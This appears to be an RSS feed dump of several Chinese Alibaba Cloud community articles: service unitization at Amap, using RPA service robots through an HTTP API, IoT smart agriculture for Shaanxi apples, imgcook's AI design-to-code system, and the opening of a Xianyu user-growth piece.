        优化前服务会完全禁写比如10秒(时间取决于数据同步时间),优化后会变成触发禁写的是这10秒内路由发生变更的用户,这将大大减少对业务的影响。

        服务端数据驱动的单元化场景

        前面提到高德在路由策略上结合业务的特别设计,但整体单元划分还是以用户(或设备)为维度来进行的,但高德业务还有一个大的场景是我们未来要面对和解决的,就是以数据维度驱动的单元设计,基于终端的服务路由会变成基于数据域的服务路由。
        wangwei9.png
        高德很多服务是以服务数据为核心的,像地图数据等它并非由用户直接产生。业务的发展数据存储也将不断增加,包括5G和自动驾驶,对应数据的爆发式增长单点全量存储并不实现,以服务端数据驱动的服务单元化设计,是我们接下来要考虑的重要应用场景。

        写在最后

        不同的业务场景对单元化会有不同的诉求,我们提供不同的策略和能力供业务进行选择,对于多数据服务我们建议使用业务取模路由,简单且易于维护;对于RT敏感的服务使用路由表的策略来尽可能的降低服务响应时长的影响。另外,要注意的是强依赖性的服务要采用相同的路由策略。

        ]]>
        阿里云RPA(机器人流程自动化)干货系列之十:如何使用服务型机器人 Fri, 02 May 2025 09:39:04 +0800 导读:本文是阿里云RPA(机器人流程自动化)干货系列之十,前两篇介绍了采用有人值守机器人和无人值守机器人执行我们开发好的RPA应用,本篇就介绍如何通过服务型机器人开发并执行RPA应用。


        一、创建一个服务型机器人应用

        3b3273900abf623ea46ebdbc6e8f273b.png

        二、在参数面板里设置相应的参数

        3.png

        • 参数的获取:

        参数的获取,按照正常的应用写法获取参数。 rpa.params["myInput"]

        • 结果的返回:

        调用提供的API,把应用的结果返回。rpa.workbench.task_result(resStr)

        完成上述步骤之后,在Studio里正常发布此服务型应用至企业服务市场。

        三、创建API代理用户

        服务型的应用,是通过API的方式提供给外部系统进行使用。API的调用,需要有一个码栈的用户进行授权,每次API的调用,都会记录在这个用户名下。

        四、订阅服务型应用

        服务型的应用,需要在获取后,才能使用。有两种方式可以获取服务型应用。

        1.  如果API代理用户有 企业应用市场管理 的权限,那么可以直接在控制台来获取。

        4.png

        2.  如果API代理用户不具备 企业应用市场管理 的权限,那么需要让用户先登录有人值守机器人的客户端,申请应用并由管理员审核通过。

        五、获取API用户AK

        使用API用户登录控制台,进入系统设置,获取用户的AK(access key和access token)。后续其他应用通过这个AK进行调用,操作日志会记录在这个用户下面。

        d6da03abe11d39929ce2660a3b7df351.png

        六、获取服务型应用的接口地址

        管理员登录控制台,在 企业应用市场管理 中,可以看到服务型应用的接口。

        6.png

        七、API列表

        • 公共请求

        所有的API请求中,都需要在HTTP请求中,增加头参数:

        9668ea4b4882ae814b85bbb3bfb7bd00.png

        • 调用服务型接口

        1.  使用方通过指定的API地址,AK调用接口,随后触发服务型机器人工作,执行对应的流程,流程执行结束后,会获取到数据。 这个数据有两种返回形式,一种是在接口调用的时候,注册一个回调的地址,在流程执行完成后,把数据通过回调接口传送回去;一种是接口调用的时候,可以获取到一个数据结果地址,可以过一段时间,获取到结果。

        2.  表单不支持文件的上传,如果需要上传文件,需要先单独上传文件,然后再把文件地址,放到参数中。

        3.  appParams的结构,建议是json格式,但是也可以是任何格式,具体格式的解析,需要在码栈APP中进行解析。

        调用地址:http://rpa-demo.allinbots.com/rpa/api/ak/server/call/${appUuid}

        请求方式:POST 请求参数:

        4d96e796a7300f541cf0f21b86a0936e.png

        config参数说明:

        config是一个一维的 json object 对象。

        {
            "appParams": "{"myCheckBox":"cserver","myPassword":"myServerPwdValue","mySelect":"server","myTime":"2018-09-19 19:59:59","myColor":"3422101","myInput":"myServerInputValue","myFile":"C:\\Users\\njwander\\Desktop\\AliRPA\\AliyunRPA Studio.bat"}",
            "robotName": "wfx-fw-0906",
            "callbackUrl": "http://30.5.121.152:8887/rpa/received",
            "timeout": 0
        }

         

        3908180eee2c2f6f8e50e6299af645ad.png

        返回参数:

        {
            "success": true,
            "code": 200,
            "msg": "",
            "data": {
                "resultUrl": "http://rpa-demo.allinbots.com/rpa/api/ak/server/result?uuid=11fdeba2-f7ad-4a74-8ce5-6d8b716ee88f",
                "taskId": "fa77b557-3538-4a77-98fc-e80ab6e0b485"
            }
        }

        获取数据的接口。如果有传递 callbackUrl, 那么通过回调接口返回。

        服务型应用的调用地址,可以在这里看到:

        • 查看机器人状态

        根据启动后,得到的taskId,再次调用,获取任务状态。

        调用地址:http://rpa-demo.allinbots.com/rpa/api/ak/server/task/status/{taskUuid}

        请求方式:GET

        返回结果:

        {
            "success": true,
            "code": 200,
            "msg": "",
            "data": {
                "status": "Running",
                "remark": "中文描述"
            }
        }
        • 文件上传

        单独上传文件的接口

        调用地址:http://rpa-demo.allinbots.com/rpa/api/ak/server/uploadFile

        请求方式:multipart/form-data

        bfc4245e879999a24c65c4db10c861c6.png

        • 接口回调数据说明

        回调的数据,是在机器人执行的应用中,调用api:rpa.workbench.task_result(string) 写入的,写入的string需要是一个标准的json object对象。

        callbackUrl 需要满足如下条件:

        1.    http 或 https 的 post 请求。

        2.    接口免登

        3.    Content-type:application/x-www-form-urlencoded

        4.    数据采用 form 表单方式发送,键值为:data

        服务型机器人通过API接口的方式可以获取机器人执行的结果数据、中间状态等信息,同时也可以通过API接口远程调用机器人执行相应的程序。


        系列文章:

        阿里云RPA(机器人流程自动化)干货系列之一:认识RPA(上)

        阿里云RPA(机器人流程自动化)干货系列之二:认识RPA(下)

        阿里云RPA(机器人流程自动化)干货系列之三:阿里云RPA介绍

        阿里云RPA(机器人流程自动化)干货系列之四:阿里云RPA产品技术架构

        阿里云RPA(机器人流程自动化)干货系列之五:业务流程梳理方法

        阿里云RPA(机器人流程自动化)干货系列之六:客户端安装及激活

        阿里云RPA(机器人流程自动化)干货系列之七:编写第一个RPA应用(可视化模式)

        阿里云RPA(机器人流程自动化)干货系列之八:如何使用有人值守机器人

        阿里云RPA(机器人流程自动化)干货系列之九:如何使用无人值守机器人

        阿里云RPA(机器人流程自动化)干货系列之十:如何使用服务型机器人

        阿里云RPA(机器人流程自动化)干货系列之十一:编码开发模块初探

        阿里云RPA(机器人流程自动化)干货系列之十二:创建自定义SDK函数

        ]]>
        ​ 什么?物联网竟然要挑战传统农业! ​ Fri, 02 May 2025 09:39:04 +0800 原标题:一个小小的苹果背后有怎样的故事?

        其实,数据本身就是一种肥料。

        世界上每7个苹果就有1个产自陕西。

        新中国成立70年来,特别是改革开放以来,陕西省苹果种植面积达1100万亩,产量超1000万吨,当前陕西苹果已批量出口到世界80多个国家和地区。

        “世界苹果看中国,中国苹果看陕西”,许多陕西果农这样骄傲地认为。

        image

        隶属于陕西省延安市延川县文安驿镇的梁家河村,地处陕北黄土高原丘陵沟壑区,这里海拔800米到1200米,昼夜温差大,光照充足,土层深厚,是世界苹果最佳优生区。

        然而,受制于果农种植观念落后、优质肥料产品缺乏、产销相对脱节等因素,这里的苹果商品化率较低。

        不仅如此,传统农业粗放式的生产方式也严重限制了产业现代化的进步空间。在过去的延安梁家河,苹果再好吃,农民还是穷。

        近年来,当地政府因地制宜开展产业扶贫,大力发展“苹果经济”,如今已初见效果。

        除了政策支持,借助IoT、云计算和大数据等信息化技术的东风,全国农业生产信息化整体水平翻两番,达到12%;农业经营信息化整体水平翻两番,达到24%;农业管理信息化整体水平达到60%;农业服务信息化整体水平达到50%以上。

        过去靠人靠天的经验农业,转变为以数据为基础的智慧农业,这是观念的升级,也是质量、效率的质变。

        传统农业的挑战

        历史到今天为止有三个最著名的苹果:一个诱惑了夏娃,一个砸醒了牛顿,一个现在握在乔布斯手中。这三个苹果代表了欲望、知识、激情。

        而第四个苹果,是来自四苹果,从梁家河走出来的一家智慧农业科技公司,致力于一二三产业融合,打造新农业产业模式,名字应运而生。

        谈起“四苹果”这家公司的初心,创始人林小彬表示,“我们做四苹果的初心就是携手农民走高端或者走上商品化的这条路。”

        其实,这样的初心正是从侧面印证了当前我国农业产业的现状与挑战。

        林小彬介绍到,我国农业产业链小、散、乱、弱。农户和农村市场之间属于短期、松散的业务合作关系。农副产品订单体系尚未形成,其中大约70%是通过传统批发市场交易,30%通过商超、电商渠道进行交易。

        在农业基础设施发展方面,分散经营的土地使得难以组织推进规模化、集体化和标准化生产。信息化和数字化水平较低,缺乏生产和流通数据支持,历史交易数据难以构建有效的信用体系。

        与此同时,也缺乏针对县一级的批发商、乡镇二级零售商、种植大户的贷款产品,供应链金融发展相对滞后。

        正是在这样的背景下,“智慧农业”概念应用而生。四苹果专注于从种到销的农产品全产业链服务于产业、作物、农户,并将互联网技术与新科技应用在农产品标准化生产和销售端农产品溯源。

        他们还将碎片化的散户种植通过互联网技术的应用规模化、标准化,从而生产出有标准有品质的农产品、可追溯的优质农产品。

        让果园变得更“聪明”

        也许有人会问,果园还能用物联网?传统农业和智慧农业有啥不一样?其实四苹果最近就干了一场大事,给出了它的答案。

        四苹果联合联想智慧服务,利用新科技应用推动农业变革、打造“智慧农业”新生态进行深度合作,通过科技手段全面支持陕西苹果产业的发展。与联想这次联手打造的 “智慧农业”解决方案,旨在为陕西苹果提供宏观、精准的产业画像,为陕西苹果产业发展、大数据平台支持提供有力支撑。

        举例来说,这一平台不仅能够实现灾情预警,甚至可以通过炮弹驱散的方式,让果农避开灾害天气。

        同时,通过对土壤、光照等信息的智能感应,还可以为农民提供更好的栽种及施肥建议。联想智慧农业解决方案在助力传统农业向现代化农业转型的同时,也将为当地农民带来可以预期的实惠,并驱动当地农业规模化的增值、增效及增收。

        与此同时,联想智慧农业解决方案是助力现代农业服务体系实现农事生产标准化和规范化的现代化工具,充分发挥联想服务在大数据、区块链技术以及IoT领域优势,结合动态专业农业服务组织数字化管理,创新现代农业产业新模式,打造IoT+Cloud+BigData+综合服务和统一监控平台。

        当前,联想实现了延安梁家河苹果种植的全程数据化、标准化和产品溯源,不仅提升了优质果率,还实现了供需资源的最优配备。当前,联想正在将梁家河苹果的产业智能化实践推广到中国的多个苹果产地,联想也在助力更多的农产品领域,实现智能化的产业升级。

        联想集团副总裁、中国区服务业务总经理戴炜表示,智慧服务是智能时代变革的加速器,也是智能时代进化的基石。特别是让传统农业企业感受到智慧服务,以 “智”赢农业之道。

        值得注意的是,近年来,百度、阿里、腾讯、京东等国内互联网巨头纷纷加快了在智慧农业领域的布局。

        例如,阿里AI养猪项目通过构建AI算法,实现“猪脸识别”,从而帮助养殖户随时随地对动物健康状态进行管理;腾讯AI Lab在温室种黄瓜的过程中,浇水、通风、光照等工作由人工智能传感器收集的环境和生长数据,通过强化学习和计算,进行判断再驱动温室里的设备元件自动完成。

        华为也在上个月宣布要开始“种地”了。结合自身人工智能技术,研发了一套适合中国农业环境的现代化物联网设备,推出了一套智慧种地方案,彻底颠覆了传统种地的做法,也颠覆了农民的世界。

        十年前,没有几人知道这个陕北偏僻山村“梁家河”。十年后,如今借着物联网的东风,梁家河正大步迈向智慧农业的大门。

        其实,数据本身就是一种肥料,可以帮助农民更精准地耕作,提高产量,也帮助越来越多“四苹果”们书写更多的数据故事。

        原文发布时间:2019-11-20
        本文作者:郝伟静【原创】
        本文来自云栖社区合作伙伴“至顶网”,了解相关信息可以关注“至顶网

        ]]>
        双 11 模块 79.34% 的代码是怎样智能生成的? Fri, 02 May 2025 09:39:04 +0800 作为今年阿里经济体前端委员会的四大技术方向之一,前端智能化方向一被提及,就不免有人好奇:前端结合 AI 能做些什么,怎么做,未来会不会对前端产生很大的冲击等等。本篇文章将围绕这些问题,以「设计稿自动生成代码」场景为例,从背景分析、竞品分析、问题拆解、技术方案等几个角度切入,细述相关思考及过程实践。

        背景分析

        业界机器学习之势如火如荼,「AI 是未来的共识」频频出现在各大媒体上。李开复老师也在《AI·未来》指出,将近 50% 的人类工作将在 15 年内被人工智能所取代,尤其是简单的、重复性的工作。并且,白领比蓝领的工作更容易被取代;因为蓝领的工作可能还需要机器人和软硬件相关技术都突破才能被取代,而白领工作一般只需要软件技术突破就可以被取代。那我们前端这个“白领”工作会不会被取代,什么时候能被取代多少?

        image.png

        回看 2010 年,软件几乎吞噬了所有行业,带来近几年软件行业的繁荣;而到了 2019 年,软件开发行业本身却又在被 AI 所吞噬。你看:DBA 领域出现了 Question-to-SQL,针对某个领域只要问问题就可以生成 SQL 语句;基于机器学习的源码分析工具 TabNine 可以辅助代码生成;设计师行业也出了 P5 Banner 智能设计师“鹿班”,测试领域的智能化结合也精彩纷呈。那前端领域呢?
        那就不得不提一个我们再熟悉不过的场景了,它就是设计稿自动生成代码(Design2Code,以下简称 D2C),阿里经济体前端委员会-前端智能化方向当前阶段就是聚焦在如何让 AI 助力前端这个职能角色提效升级,杜绝简单重复性工作,让前端工程师专注更有挑战性的工作内容!

        竞品分析

        2017 年,一篇关于图像转代码的 Pix2Code 论文掀起了业内激烈讨论的波澜,讲述如何从设计原型直接生成源代码。随后社区也不断涌现出基于此思想的类似 Screenshot2Code 的作品,2018 年微软 AI Lab 开源了草图转代码 工具 Sketch2Code,同年年底,设计稿智能生成前端代码的新秀 Yotako 也初露锋芒, 机器学习首次以不可小觑的姿态正式进入了前端开发者的视野。

        识别目标 控件数 结果现状 本质能力
        Pix2Code Bootstrap 基础控件 11 实验数据准确率接近 80%, 
        支持控件少
        中后台基础组件识别
        Screenshot2Code HTML 基础标签 HTML 基础标签 准确率较低 端到端的图片生成代码
        Sketch2Code 手绘稿到控件 9 手绘草图降低了使用门槛。 基于手绘稿的组件识别
        shots 非智能识别,全人工标注 未知 有 Showcase,新设计稿无法试用,闭源,准确度未知,人工收集了6000 个设计稿 Case 设计稿生成代码的布局算法能力,含各种场景下丰富的高质量的控件类型标注
        Yotako HTML 基础标签 未知 PSD 生成前端代码,有Showcase,使用需要会员费,设计稿的要求非常高(几乎每个图层都有命名要求),刚起步 设计稿生成代码,目前规则的比重较大

        基于上述竞品分析,我们能够得到以下几点启发:

        1. 深度学习目前在图片方面的目标检测能力适合较大颗粒度的可复用的物料识别(模块识别、基础组件识别、业务组件识别)。
        2. 完整的直接由图片生成代码的端到端模型复杂度高,生成的代码可用度不高,要达到所生成代码工业级可用,需要更细的分层拆解和多级子网络模型协同,短期可通过设计稿生成代码来做 D2C 体系建设。
        3. 当模型的识别能力无法达到预期准确度时,可以借助设计稿人工的打底规则协议;一方面人工规则协议可以帮助用户强干预得到想要的结果,另一方面这些人工规则协议其实也是高质量的样本标注,可以当成训练样本优化模型识别准确度。

        问题分解

        设计稿生成代码的目标是让 AI 助力前端这个职能角色提效升级,杜绝简单重复性工作内容。那我们先来分析下,“常规”前端尤其是面向 C 端业务的同学,一般的工作流程日常工作内容大致如下:

        image.png

        “常规”前端一般的开发工作量,主要集中在视图代码、逻辑代码数据联调(甚至是数据接口开发,研发 Serveless 产品化时可期)这几大块,接下来,我们逐块拆解分析。

        视图代码

        视图代码研发,一般是根据视觉稿编写 HTML 和 CSS 代码。如何提效,当面对 UI 视图开发重复性的工作时,自然想到组件化、模块化等封装复用物料的解决方案,基于此解决方案会有各种 UI 库的沉淀,甚至是可视化拼装搭建的更 High Level 的产品化封装,但复用的物料不能解决所有场景问题。个性化业务、个性化视图遍地开花,直面问题本身,直接生成可用的 HTML 和 CSS 代码是否可行?

        image.png

        这是业界一直在不断尝试的命题,通过设计工具的开发插件可以导出图层的基本信息,但这里的主要难点还是对设计稿的要求高、生成代码可维护性差,这是核心问题,我们来继续拆解。

        设计稿要求高问题

        对设计稿的要求高,会导致设计师的成本加大,相当于前端的工作量转嫁给了设计师,导致推广难度会非常大。一种可行的办法是采用 CV(ComputerVision, 计算机视觉) 结合导出图层信息的方式,以去除设计稿的约束,当然对设计稿的要求最好是直接导出一张图片,那样对设计师没有任何要求,也是我们梦寐以求的方案,我们也一直在尝试从静态图片中分离出各个适合的图层,但目前在生产环境可用度不够(小目标识别精准度问题、复杂背景提取问题仍待解决),毕竟设计稿自带的元信息,比一张图片提取处理的元信息要更多更精准。

        可维护性问题

        生成的代码结构一般都会面临可维护性方面的挑战:

        • 合理布局嵌套:包括绝对定位转相对定位、冗余节点删除、合理分组、循环判断等方面;
        • 元素自适应:元素本身扩展性、元素间对齐关系、元素最大宽高容错性;
        • 语义化:Classname 的多级语义化;
        • 样式 CSS 表达:背景色、圆角、线条等能用 CV 等方式分析提取样式,尽可能用 CSS 表达样式代替使用图片;
        • ……

        将这些问题拆解后,分门别类专项解决,解决起来看似没完没了,但好在目前发现的大类问题基本解决。很多人质疑道,这部分的能力的实现看起来和智能化一点关系都没有,顶多算个布局算法相关的专家规则测量系统。没错,现阶段这部分比较适合规则系统,对用户而言布局算法需要接近 100% 的可用度,另外这里涉及的大部分是无数属性值组合问题,当前用规则更可控。如果非要使用模型,那这个可被定义为多分类问题。同时,任何深度学习模型的应用都是需要先有清晰的问题定义过程,把问题规则定义清楚本就是必备过程。

        但在规则解决起来麻烦的情况下,可以使用模型来辅助解决。比如 合理分组(如下图) 和 循环项 的判断,实践中我们发现,在各种情况下还是误判不断,算法规则难以枚举,这里需要跨元素间的上下文语义识别,这也是接下来正在用模型解决的重点问题。

        image.png
        (合理分组示意)

        逻辑代码


        逻辑代码开发主要包括数据绑定、动效、业务逻辑代码编写。可提效的部分,一般在于复用的动效和业务逻辑代码可沉淀基础组件、业务组件等。

        • 接口字段绑定:从可行性上分析还是高的,根据视觉稿的文本或图片判断所属哪个候选字段,可以做,但性价比不高,因为接口数据字段绑定太业务,通用性不强。
        • 动效:这部分的开发输入是交互稿,而且一般动效的交付形式各种各样参差不齐,有的是动画 gif 演示,有的是文字描述,有的是口述;动效代码的生成更适合用可视化的形式生成,直接智能生成没有参考依据,考虑投入产出比不在短期范围内。
        • 业务逻辑:这部分开发的依据来源主要是 PRD,甚至是 PD 口述的逻辑;想要智能生成这部分逻辑代码,欠缺的输入太多,具体得看看智能化在这个子领域能解决什么问题。

        逻辑代码生成思考

        理想方案当然是能像其他诗歌、绘画、音乐等艺术领域一样,学习历史数据,根据 PRD 文本输入,新逻辑代码能直接生成,但这样生成的代码能直接运行没有任何报错吗?

        image.png


        目前人工智能虽说发展迅速,但其能解决的问题还是有限,需要将问题定义成其擅长解决的问题类型。强化学习擅长策略优化问题,深度学习目前在计算机视觉方面擅长解决的是分类问题、目标检测问题,文本方面擅长 NLP(Natural Language Processing, 自然语言处理) 等。


        关于业务逻辑代码,首先想到的是对历史源代码的函数块利用 LSTM(Long Short-Term Memory, 长短期记忆网络)和 NLP 等进行上下文分析,能得到代码函数块的语义,VS Code 智能代码提醒 和 TabNine 都是类似的思路。


        另外,在分析问题中(如下图)我们还发现,智能化在业务逻辑领域还可以协助识别逻辑点在视图出现的位置(时机),并根据视图猜测出的逻辑语义。


        image.png


        综上,我们总结一下智能化现阶段的可助力点:

        • 由历史源代码分析猜测高频出现的函数块(逻辑块)的语义,实际得到的就是组件库或者基础函数块的语义,可在代码编辑时做代码块推荐等能力。
        • 由视觉稿猜测部分可复用的逻辑点,如这里的字段绑定逻辑,可根据这里文本语义 NLP 猜测所属字段,部分图片元素根据有限范围内的图片分类,猜测所属对应的图片字段(如下图示例中的,氛围修饰图片还是 Logo 图片);同时还可以识别可复用的业务逻辑组件,比如这里的领取优惠券逻辑。

        所以,现阶段在业务逻辑生成中,可以解决的问题比较有限,尤其是新的业务逻辑点以新的逻辑编排出现时,这些参考依据都在 PD 的 PRD 或脑海中。所以针对业务逻辑的生成方案,现阶段的策略主要如下:

        • 字段绑定:智能识别设计稿中的文本和图片语义分类,特别是文字部分。
        • 可复用的业务逻辑点:根据视图智能识别,并由视图驱动自由组装,含小而美的逻辑点(一行表达式、或一般不足以封装成组件的数行代码)、基础组件、业务组件。
        • 无法复用的新业务逻辑:PRD 需求结构化(可视化)收集,这是一个高难度任务,还在尝试中。

        小结

        目前用智能化的方式自动生成 HTML + CSS + 部分 JS + 部分 DATA 的主要分析如上,是Design to Code 的主要过程 ,内部项目名称叫做 D2C ,后续系列文章会使用此简称,集团内外的落地产品名称为 imgcook。随着近几年主流设计工具(Sketch、PS、XD 等)的三方插件开发能力逐渐成熟,飞速发展的深度学习那甚至超过人类识别效果的趋势,这些都是 D2C 诞生和持续演进的强大后盾。

        image.png
        (目标检测 2014-2019 年 paper)

        技术方案

        基于上述前端智能化发展概括分析,我们对现有的 D2C 智能化技术体系做了能力概述分层,主要分为以下三部分:

        • 识别能力:即对设计稿的识别能力。智能从设计稿分析出包含的图层、基础组件、业务组件、布局、语义化、数据字段、业务逻辑等多维度的信息。如果智能识别不准,就可视化人工干预补充纠正,一方面是为了可视化低成本干预生成高可用代码,另一方面这些干预后的数据就是标注样本,反哺提升智能识别的准确率。
        • 表达能力:主要做数据输出以及对工程部分接入

          • 通过 DSL 适配将标准的结构化描述做 Schema2Code
          • 通过 IDE 插件能力做工程接入
        • 算法工程:为了更好的支撑 D2C 需要的智能化能力,将高频能力服务化,主要包含数据生成处理、模型服务部分

          • 样本生成:主要处理各渠道来源样本数据并生成样本
          • 模型服务:主要提供模型 API 封装服务以及数据回流

        image.png
        (前端智能化 D2C 能力概要分层)

        在整个方案里,我们用同一套 数据协议规范(D2C Schema)来连接各层的能力,确保其中的识别能够映射到具体对应的字段上,在表达阶段也能正确地通过出码引擎等方案生成代码。

        智能识别技术分层

        在整个 D2C 项目中,最核心的是上述识别能力部分的 机器智能识别 部分,这层的具体再分解如下,后续系列文章会围绕这些细分的分层展开内部实现原理。

        • 物料识别层:主要通过图像识别能力识别图像中的物料(模块识别、原子模块识别、基础组件识别、业务组件识别)。
        • 图层处理层:主要将设计稿或者图像中图层进行分离处理,并结合上一层的识别结果,整理好图层元信息。
        • 图层再加工层:对图层处理层的图层数据做进一步的规范化处理。
        • 布局算法层:转换二维中的绝对定位图层布局为相对定位和 Flex 布局。
        • 语义化层:通过图层的多维特征对图层在生成代码端做语义化表达。
        • 字段绑定层:对图层里的静态数据结合数据接口做接口动态数据字段绑定映射。
        • 业务逻辑层:对已配置的业务逻辑通过业务逻辑识别和表达器来生成业务逻辑代码协议。
        • 出码引擎层:最后输出经过各层智能化处理好的代码协议,经过表达能力(协议转代码的引擎)输出各种 DSL 代码。

        image.png
        (D2C 识别能力技术分层)

        技术痛点

        当然,这其中的 识别不全面、识别准确度不高 一直是 D2C 老生常谈的话题,也是我们的核心技术痛点。我们尝试从这几个角度来分析引起这个问题的因素:

        1. 识别问题定义不准确:问题定义不准确是影响模型识别不准的首要因素,很多人认为样本和模型是主要因素,但在这之前,可能一开始的对问题的定义就出现了问题,我们需要判断我们的识别诉求模型是否合适做,如果合适那该怎么定义清楚这里面的规则等。
        2. 高质量的数据集样本缺乏:我们在识别层的各个机器智能识别能力需要依赖不同的样本,那我们的样本能覆盖多少前端开发场景,各个场景的样本数据质量怎么样,数据标准是否统一,特征工程处理是否统一,样本是否存在二义性,互通性如何,这是我们当下所面临的问题。
        3. 模型召回低、存在误判:我们往往会在样本里堆积许多不同场景下不同种类的样本作为训练,期望通过一个模型来解决所有的识别问题,但这却往往会让模型的部分分类召回率低,对于一些有二义性的分类也会存在误判。

        问题定义

        深度学习里的计算机视觉类模型目前比较适合解决的是分类问题和目标检测问题,我们判断一个识别问题是否该使用深度模型的前提是——我们自己是否能够判断和理解,这类问题是否有二义性等,如果人也无法准确地判断,那么这个识别问题可能就不太合适。

        假如判断适合用深度学习的分类来做,那就需要继续定义清楚所有的分类,这些分类之间需要严谨、有排他性、可完整枚举。比如在做图片的语义化这个命题的时候,一般图片的 ClassName 通用常规命名有哪些,举个例子,其分析过程如下:

        image.png

        • 第一步:尽可能多地找出相关的设计稿,一个个枚举里面的图片类型。
        • 第二步:对图片类型进行合理归纳归类,这是最容易有争论的地方,定义不好有二义性会导致最有模型准确度问题。
        • 第三步:分析每类图片的特征,这些特征是否典型,是否是最核心的特征点,因为关系到后续模型的推理泛化能力。
        • 第四步:每类图片的数据样本来源是否有,没有的话能否自动造;如果数据样本无法有,那就不适合用模型,可以改用算法规则等方式替代先看效果。

        D2C 项目中很多这样的问题,问题本身的定义需要非常精准,并且需要有科学的参考依据,这一点本身就比较难,因为没有可借鉴的先例,只能先用已知的经验先试用,用户测试有问题后再修正,这是一个需要持续迭代持续完善的痛点。

        样本质量

        针对 样本 问题,我们需要对这部分数据集建立标准规范,分场景构建多维度的数据集,将收集的数据做统一的处理和提供,并以此期望能建立一套规范的数据体系。

        在这套体系中,我们使用统一的样本数据存储格式,提供统一的针对不同问题(分类、目标检测)的样本评估工具来评估各项数据集的质量,针对部分特定模型可采取效果较好的特征工程(归一化、边缘放大等)来处理,同类问题的样本也期望能在后续不同的模型里能够流通作比较,来评估不同模型的准确度和效率。
           image.png
         (数据样本工程体系)

        模型

        针对模型的召回和误判问题,我们尝试 收敛场景来提高准确度。往往不同场景下的样本会存在一些特征上的相似点或者影响部分分类局部关键特征点,导致产生误判、召回低,我们期望能够通过收敛场景来做模式化的识别,提高模型准确度。我们把场景收敛到如下三个场景:无线 C 端营销频道场景、小程序场景以及 PC 中后台场景。这里面几个场景的设计模式都有自己的特色,针对各个场景来设计垂直的识别模型可以高效地提高单一场景的识别准确度。

        image.png


        (D2C 场景)

        过程思考

        既然使用了深度模型,有一个比较现实的问题是,模型的泛化能力不够,识别的准确率必然不能 100% 让用户满意,除了能够在后续不断地补充这批识别不到的样本数据外,在这之前我们能做什么?

        在 D2C 的整个还原链路里,对于识别模型,我们还遵守一个方法论,即设计一套协议或者规则能通过其他方式来兜底深度模型的识别效果,保障在模型识别不准确的情况下用户仍可完成诉求:手动约定 > 规则策略 > 机器学习 > 深度模型。举个例子比如需要识别设计稿里的一个循环体:

        • 初期,我们可以在设计稿里手动约定循环体的协议来达成
        • 根据图层的上下文信息可做一些规则的判断,来判断是否是循环体
        • 利用机器学习的图层特征,可尝试做规则策略的更上游的策略优化
        • 生成循环体的一些正负样本来通过深度模型进行学习

        其中手动约定的设计稿协议解析优先级最高,这样也能确保后续的流程不受阻塞和错误识别的干扰。

        业务落地

        2019 双十一落地

        在今年的双十一场景中,我们的 D2C 覆盖了天猫淘宝会场的新增模块,包括主会场、行业会场、营销玩法会场、榜单会场等,包含了视图代码和部分逻辑代码的自动生成,在可统计范围内,D2C 代码生成占据了大比例。目前代码的人工改动的主要原因有:全新业务逻辑、动画、字段绑定猜测错误(字段标准化情况不佳)、循环猜测错误、样式自适应修改等,这些问题也都是接下来需要逐步完善的。

        image.png
        (D2C 代码生成用户更改情况)

        整体落地情况

        我们对外的产品 imgcook,截止 2019.11.09 日,相关的使用数据情况如下:

        • 模块数 12681  个, 周新增 540 个左右;
        • 用户数 4315  个,周新增 150 个左右;
        • 自定义DSL:总数 109 个;

        目前可提供的服务能力如下:

        • 设计稿全链路还原:通过 Sketch、PhotoShop 插件一键导出设计稿图层,生成自定义的 DSL 代码。
        • 图像链路还原:支持用户自定义上传图片、文件或填写图片链接,直接还原生成自定义的 DSL 代码。

        后续规划

        • 继续降低设计稿要求,争取设计稿 0 协议,其中分组、循环的智能识别准确度提升,减少视觉稿协议的人工干预成本。
        • 组件识别准确度提升,目前只有 72% 的准确度,业务应用可用率低。
        • 页面级和项目级还原能力可用率提升,依赖页面分割能力的准确度提升。
        • 小程序、中后台等领域的页面级还原能力提升,含复杂表单、表格、图表的整体还原能力。
        • 静态图片生成代码链路可用度提升,真正可用于生产环境。
        • 算法工程产品完善,样本生成渠道更多元,样本集更丰富。
        • D2C 能力开源

        未来我们希望能通过前端智能化 D2C 项目,让前端智能化技术方案普惠化,沉淀更具竞争力的样本和模型,提供准确度更高、可用度更高的代码智能生成服务;切实提高前端研发效率,减少简单的重复性工作,不加班少加班,一起专注更有挑战性的工作内容!

        欢迎加入钉钉群一起交流。

        image.png

        D2 智能化专场

        今年的 D2 智能化专场将通过行业的应用案例和实践经验的风向,让大家对智能化改变前端有切实的感受,欢迎大家来一起探讨。

        Tensorflow.js 前端的机器学习平台

        • 演讲嘉宾:王铁震
        • 话题介绍:TensorFlow.js 是谷歌开发的机器学习加速平台。这个库用于在浏览器、Node.js 和其他 JavaScript 平台中训练和部署机器学习模型,为 JavaScript 开发者提供了简洁高效的API。在本讲中,您将了解到 TensorFlow.js 生态系统,如何将现有的机器学习模型植入到前端,同时还会探讨进一步优化的方式,未来发展的方向。

        前端智能化实践 - 逻辑代码生成

        • 演讲嘉宾:甄子
        • 话题介绍:从生成UI代码到生成逻辑代码有多远?如何用页面结构和数据结构的视角去看待并解决代码生成问题?如何赋予开发者自定义的能力来解决业务问题?用实践检验前端智能化的力量,用设计去论证前端智能化的未来,诚邀您一起探讨前端在机器学习和人工智能领域的发展。

        数据分析的人工智能画板 - 马良

        • 演讲嘉宾:言顾
        • 话题介绍:随着越来越多的企业重视数据可视化,通过降低工程门槛来帮助用户创建可视化大屏成为当前的一大趋势。然而除了工程成本,数据可视化的设计效率,极大影响着数据挖掘的效率。在此之上,由于多方技术人员的参与,沟通成本过大,导致流程耗时久,且难以迭代,极大限制了潜在用户以及潜在的可适用场景。对可视化大屏搭建平台来说,急需一款产品能够提高用户的数据可视设计能力,让用户突破模版限制,轻松创造属于自己的个性化大屏。

        智能化专场.png

        ]]>
        TOP100直击|如何在一周内上线50个用户增长策略 Fri, 02 May 2025 09:39:04 +0800 作者:闲鱼技术-兰昊

        在闲鱼用户增长业务上的实验

        我们最先落地的业务是在用户增长上,闲鱼的用户增长业务有如下描述:

        • 闲鱼的卖家都是普通小卖家,而非专业的B类商家。因此无法统一组织起来参加营销活动带来买家活跃。
        • 我们目前DAU已经突破到2000W,如何承接好这么大体量的用户,对运营同学是个很大的考验。

        在年初时,我们在用户增长下做了多个实验,其中两个实验如下:

        之所以会做以上实验,主要还是希望用户能在APP上多停留一会。当用户浏览时间越长,就越有可能发现闲鱼上还有很多有趣的内容,无论是商品宝贝还是鱼塘内的帖子。从而达到吸引用户下一次还能再回来的目的,最终带来用户增长。我们做的实验上线后大部分都取得了不错的业务效果,但是在过程中也暴露了两个问题:

